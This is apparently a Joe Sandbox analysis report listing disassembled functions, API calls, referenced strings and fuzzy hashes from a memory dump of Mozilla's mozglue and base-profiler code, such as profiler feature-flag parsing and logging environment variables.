Instruction ID: f162b0172205f2915a262c50cf774380bbb3bba68d1319b4581f32f71bd1a22f
Opcode Fuzzy Hash: d77c96f0089d3e27fe9d4b0698689e299f465cb4debc1f9475507c161a4d5bfb
Instruction Fuzzy Hash: A541F571E01259DFDF14DFA9D880ADEB7B6EF88314F14812AE915A7704DB30A805CFA1

Function 6CB55C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6CB24A63,?,?), ref: 6CB55F06

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 25e3b2723fed096d5810bab0387eb8a1ca2dbf4184d39731cf5b8c22208cc034
Instruction ID: 56b284094c66f2765a038df110483c5984f2b612fe107101d25ea119e0973923
Opcode Fuzzy Hash: 25e3b2723fed096d5810bab0387eb8a1ca2dbf4184d39731cf5b8c22208cc034
Instruction Fuzzy Hash: 38C1E171E012998BCF04CF95C1906EEBBF2FF8A319F68415DC8556BB44D732A81ACB94

Function 6CB1DFE0 Relevance: .7, Instructions: 683COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d7c3cde1faee41f8d248737d47976f1c1a3c55460565eac1e7d21933d7c3cc69
Instruction ID: 2fc74e9dc7e33972207e67e7688129f45608b25f8080451769ac9a3b98450133
Opcode Fuzzy Hash: d7c3cde1faee41f8d248737d47976f1c1a3c55460565eac1e7d21933d7c3cc69
Instruction Fuzzy Hash: B942B472A087918BD304CE3CC49575EB3E2BFC9364F194B2EE999A7B90D734D9418782

Function 6CB876E3 Relevance: .5, Instructions: 540COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction ID: 0bcbfbcb31bf7863325ccd22c480e045fd7f7475132a610704e5e821596a7025
Opcode Fuzzy Hash: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction Fuzzy Hash: 58322871E012598FCB14CF98C890AADFBB2FF88308F648169D549A7745D771AD86CF90

Function 6CB86E63 Relevance: .5, Instructions: 498COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction ID: ceb2816eba54089a57ee3209eac05ef07bf7655d7be75bad6b2be867da2a30b0
Opcode Fuzzy Hash: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction Fuzzy Hash: 8422E871E016598FCB14CF98C880AADF7F2FF88308F6481A9D949A7745D771A986CF90

Function 6CB40512 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction ID: 70263ed0d0e53674287c86d26b2064ac21ab43587aab3634c8a395a1f65f4606
Opcode Fuzzy Hash: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction Fuzzy Hash: 0D220771E04669CFDB14CF98C890AADFBB2FF88304F588599D44AA7749D731A985CF80

Function 6CB8AC00 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 398f04e189e9fc622cc03292704ac65c7df5fc9695d1dd9ff7957abbcb6ad3de
Instruction ID: e8106bff61688fa79dd517e31a71b9852fd588111b90cb348d8ffd9eb929b147
Opcode Fuzzy Hash: 398f04e189e9fc622cc03292704ac65c7df5fc9695d1dd9ff7957abbcb6ad3de
Instruction Fuzzy Hash: BCF1167160A7858FDB00CE28C8907AEB7E6EFC5318F188A2DE5D4C77D1E77498458B92

Function 6CB1C670 Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction ID: b570b1e06ecf3bc42f3dea00dc76982014448be068eed6fdd9e8cf8cf93fdedc
Opcode Fuzzy Hash: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction Fuzzy Hash: D7A19E71F0425A8BDB08CE69C8913AEB7F2EFC9355F188139D915E7B81DB749C068B90

Function 6CB57710 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID:
API String ID: 2429186680-0
Opcode ID: 85ae1b3a62a7c2fd3c42b054ec3fd890ec6dfed514b52c715a2ce60e87eee3cb
Instruction ID: ba86fddfd18a3e18ce85927bb5130e9b90f0b26d762e937f61ba7c4f41ee038a
Opcode Fuzzy Hash: 85ae1b3a62a7c2fd3c42b054ec3fd890ec6dfed514b52c715a2ce60e87eee3cb
Instruction Fuzzy Hash: B7718C75E112598FCB08CFA9D8905EEBBB2FF89314F64812ED815BB780D771A905CB90

Function 6CB558E0 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID:
API String ID: 2429186680-0
Opcode ID: ed446cb44447967b6c99dc83d97b3dd2a009c51cc860cc2bcbc7d638626661c8
Instruction ID: 84d010140cef7e0d7254a3650b46c70a4131dbffad4877bdc86e8d2c3812ccf1
Opcode Fuzzy Hash: ed446cb44447967b6c99dc83d97b3dd2a009c51cc860cc2bcbc7d638626661c8
Instruction Fuzzy Hash: FF819E75E012599FCB04CFA9D8809EEBBF2FF89314F644229D411BB741D731A959CBA0

Function 6CB5CC00 Relevance: 73.7, APIs: 25, Strings: 24, Instructions: 233
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6CB2582D), ref: 6CB5CC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6CB2582D), ref: 6CB5CC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6CB8FE98,?,?,?,?,?,6CB2582D), ref: 6CB5CC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6CB2582D), ref: 6CB5CC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6CB2582D), ref: 6CB5CC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6CB2582D), ref: 6CB5CC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6CB2582D), ref: 6CB5CCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6CB5CCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6CB5CCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6CB5CCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6CB5CCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6CB5CD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6CB5CD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6CB5CD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6CB5CDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6CB5CDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6CB5CDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6CB5CDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6CB5CE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6CB5CE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6CB5CE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6CB5CE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6CB5CE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6CB5CE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6CB5CE8A

Strings

unregisteredthreads, xrefs: 6CB5CE58
stackwalk, xrefs: 6CB5CCF8
fileio, xrefs: 6CB5CC92
cpuallthreads, xrefs: 6CB5CE16
mainthreadio, xrefs: 6CB5CC7C
java, xrefs: 6CB5CC37
seqstyle, xrefs: 6CB5CCE6
ipcmessages, xrefs: 6CB5CDBE
audiocallbacktracing, xrefs: 6CB5CDD4
fileioall, xrefs: 6CB5CCA8
preferencereads, xrefs: 6CB5CD92
markersallthreads, xrefs: 6CB5CE42
processcpu, xrefs: 6CB5CE6E
default, xrefs: 6CB5CC21
jsallocations, xrefs: 6CB5CD0E
screenshots, xrefs: 6CB5CCD4
leaf, xrefs: 6CB5CC66
nostacksampling, xrefs: 6CB5CD7C
samplingallthreads, xrefs: 6CB5CE2C
notimerresolutionchange, xrefs: 6CB5CE00
Unrecognized feature "%s"., xrefs: 6CB5CEA0
noiostacks, xrefs: 6CB5CCBE
power, xrefs: 6CB5CE84
nativeallocations, xrefs: 6CB5CDA8

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2809817890
Opcode ID: 846b44456d0f882423b257dd460df3115420c8bd15d490eee5a88257b0b808a3
Instruction ID: 34fc7a2a7bab248599214f94a305b7ea81142de3ac43a0014f874d0c4e3ca60e
Opcode Fuzzy Hash: 846b44456d0f882423b257dd460df3115420c8bd15d490eee5a88257b0b808a3
Instruction Fuzzy Hash: B45199C5A473F521FE003D257D10BAF144AEB5B25AF904135EE09E2EC0FB19A62A45B7

Function 6CB247C0 Relevance: 49.2, APIs: 23, Strings: 5, Instructions: 232threadCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6CB24801
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CB24817
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CB2482D
__Init_thread_footer.LIBCMT ref: 6CB2484A

Part of subcall function 6CB4AB3F: EnterCriticalSection.KERNEL32(6CB9E370,?,?,6CB13527,6CB9F6CC,?,?,?,?,?,?,?,?,6CB13284), ref: 6CB4AB49
Part of subcall function 6CB4AB3F: LeaveCriticalSection.KERNEL32(6CB9E370,?,6CB13527,6CB9F6CC,?,?,?,?,?,?,?,?,6CB13284,?,?,6CB356F6), ref: 6CB4AB7C

GetCurrentThreadId.KERNEL32 ref: 6CB2485F
GetCurrentThreadId.KERNEL32 ref: 6CB2487E
AcquireSRWLockExclusive.KERNEL32(6CB9F4B8), ref: 6CB2488B
free.MOZGLUE(?), ref: 6CB2493A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB24956
free.MOZGLUE(00000000), ref: 6CB24960
ReleaseSRWLockExclusive.KERNEL32(6CB9F4B8), ref: 6CB2499A

Part of subcall function 6CB4AB89: EnterCriticalSection.KERNEL32(6CB9E370,?,?,?,6CB134DE,6CB9F6CC,?,?,?,?,?,?,?,6CB13284), ref: 6CB4AB94
Part of subcall function 6CB4AB89: LeaveCriticalSection.KERNEL32(6CB9E370,?,6CB134DE,6CB9F6CC,?,?,?,?,?,?,?,6CB13284,?,?,6CB356F6), ref: 6CB4ABD1

free.MOZGLUE(?), ref: 6CB249C6
free.MOZGLUE(?), ref: 6CB249E9

Part of subcall function 6CB35E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CB35EDB
Part of subcall function 6CB35E90: memset.VCRUNTIME140(6CB77765,000000E5,55CCCCCC), ref: 6CB35F27
Part of subcall function 6CB35E90: LeaveCriticalSection.KERNEL32(?), ref: 6CB35FB2

Strings

[I %d/%d] profiler_shutdown, xrefs: 6CB24A06
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6CB24812
MOZ_BASE_PROFILER_LOGGING, xrefs: 6CB24828
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6CB247FC
MOZ_PROFILER_SHUTDOWN, xrefs: 6CB24A42

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: CriticalSection$free$EnterLeavegetenv$CurrentExclusiveLockThread$AcquireInit_thread_footerReleasememset
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_SHUTDOWN$[I %d/%d] profiler_shutdown
API String ID: 1340022502-4194431170
Opcode ID: be67d7411d1204e4ef09acbc8f866a36eec9de7db2f3eb74f3edde8a8f61eee1
Instruction ID: 0cec7b938d62ea8375d367d794d2e9ad5f707088c0fcd371bba477c9c29d05fa
Opcode Fuzzy Hash: be67d7411d1204e4ef09acbc8f866a36eec9de7db2f3eb74f3edde8a8f61eee1
Instruction Fuzzy Hash: 4781EF71A001908FDB10DF68C98476A3775EB43329F140639E91A9BF85E739E858CF97

Function 6CB24470 Relevance: 43.9, APIs: 20, Strings: 5, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB24730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6CB244B2,6CB9E21C,6CB9F7F8), ref: 6CB2473E
Part of subcall function 6CB24730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6CB2474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6CB244BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6CB244D2
InitOnceExecuteOnce.KERNEL32(6CB9F80C,6CB1F240,?,?), ref: 6CB2451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6CB2455C
LoadLibraryW.KERNEL32(?), ref: 6CB24592
InitializeCriticalSection.KERNEL32(6CB9F770), ref: 6CB245A2
moz_xmalloc.MOZGLUE(00000008), ref: 6CB245AA
moz_xmalloc.MOZGLUE(00000018), ref: 6CB245BB
InitOnceExecuteOnce.KERNEL32(6CB9F818,6CB1F240,?,?), ref: 6CB24612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6CB24636
LoadLibraryW.KERNEL32(user32.dll), ref: 6CB24644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6CB2466D
VerSetConditionMask.NTDLL ref: 6CB2469F
VerSetConditionMask.NTDLL ref: 6CB246AB
VerSetConditionMask.NTDLL ref: 6CB246B2
VerSetConditionMask.NTDLL ref: 6CB246B9
VerSetConditionMask.NTDLL ref: 6CB246C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6CB246CD
GetModuleHandleW.KERNEL32(00000000), ref: 6CB246F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6CB246FD

Strings

user32.dll, xrefs: 6CB24557, 6CB2463F
kernel32.dll, xrefs: 6CB244CD
NativeNtBlockSet_Write, xrefs: 6CB246F7
WRusr.dll, xrefs: 6CB244B5
l, xrefs: 6CB24578

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-3894940629
Opcode ID: 01c6340dcc86360112aa693331d983ee9792c2487dfe7666d5f01383b5654ec4
Instruction ID: fff2430be1b65a21082655ec3db787607b0bf471c7e40181bf4563017929fc4f
Opcode Fuzzy Hash: 01c6340dcc86360112aa693331d983ee9792c2487dfe7666d5f01383b5654ec4
Instruction Fuzzy Hash: 756104B0A002C4AFEB118F61C949BB97BB8EB47328F14C568F5489BA41D7B98945CF91

Function 6CB5E8B0 Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 297threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB57090: ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,00000000,?,6CB5B9F1,?), ref: 6CB57107

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,6CB5DCF5), ref: 6CB5E92D
GetCurrentThreadId.KERNEL32 ref: 6CB5EA4F
AcquireSRWLockExclusive.KERNEL32(6CB9F4B8), ref: 6CB5EA5C
ReleaseSRWLockExclusive.KERNEL32(6CB9F4B8), ref: 6CB5EA80
GetCurrentThreadId.KERNEL32 ref: 6CB5EA8A
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,6CB5DCF5), ref: 6CB5EA92
GetCurrentThreadId.KERNEL32 ref: 6CB5EB11
AcquireSRWLockExclusive.KERNEL32(6CB9F4B8), ref: 6CB5EB1E
memset.VCRUNTIME140(?,00000000,000000E0), ref: 6CB5EB3C
ReleaseSRWLockExclusive.KERNEL32(6CB9F4B8), ref: 6CB5EB5B

Part of subcall function 6CB55710: ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CB5EB71), ref: 6CB557AB

Part of subcall function 6CB4CBE8: GetCurrentProcess.KERNEL32(?,6CB131A7), ref: 6CB4CBF1
Part of subcall function 6CB4CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CB131A7), ref: 6CB4CBFA

Part of subcall function 6CB59420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CB24A68), ref: 6CB5945E
Part of subcall function 6CB59420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CB59470
Part of subcall function 6CB59420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CB59482
Part of subcall function 6CB59420: __Init_thread_footer.LIBCMT ref: 6CB5949F

GetCurrentThreadId.KERNEL32 ref: 6CB5EBA4
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000), ref: 6CB5EBAC

Part of subcall function 6CB594D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CB594EE
Part of subcall function 6CB594D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CB59508

GetCurrentThreadId.KERNEL32 ref: 6CB5EBC1
AcquireSRWLockExclusive.KERNEL32(6CB9F4B8,?,?,00000000), ref: 6CB5EBCE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000,?,?,00000000), ref: 6CB5EBE5
ReleaseSRWLockExclusive.KERNEL32(6CB9F4B8,00000000), ref: 6CB5EC37
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6CB5EC46
CloseHandle.KERNEL32(?), ref: 6CB5EC55
free.MOZGLUE(00000000), ref: 6CB5EC5C

Strings

[I %d/%d] baseprofiler_save_profile_to_file(%s), xrefs: 6CB5EA9B
[I %d/%d] profiler_start, xrefs: 6CB5EBB4

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: ExclusiveLock$Current$ReleaseThread$Acquiregetenv$Process_getpid$?profiler_init@baseprofiler@mozilla@@CloseHandleInit_thread_footerObjectSingleTerminateWait__acrt_iob_func__stdio_common_vfprintffreemallocmemset
String ID: [I %d/%d] baseprofiler_save_profile_to_file(%s)$[I %d/%d] profiler_start
API String ID: 1341148965-1186885292
Opcode ID: badac2d6e877fa3f0d889f0abd4503bb3ddac3f3dec9e43c0a7ee7a3f81d7922
Instruction ID: 495da356f9a287aafdcb2388371b7e29602428ec6a8df9af784eb46c43ea8398
Opcode Fuzzy Hash: badac2d6e877fa3f0d889f0abd4503bb3ddac3f3dec9e43c0a7ee7a3f81d7922
Instruction Fuzzy Hash: C4A17C75B00684DFDB109F68C544BAE77B5FF87328F604429F91987B41DB34A825CBA2

Function 6CB5F6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB59420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CB24A68), ref: 6CB5945E
Part of subcall function 6CB59420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CB59470
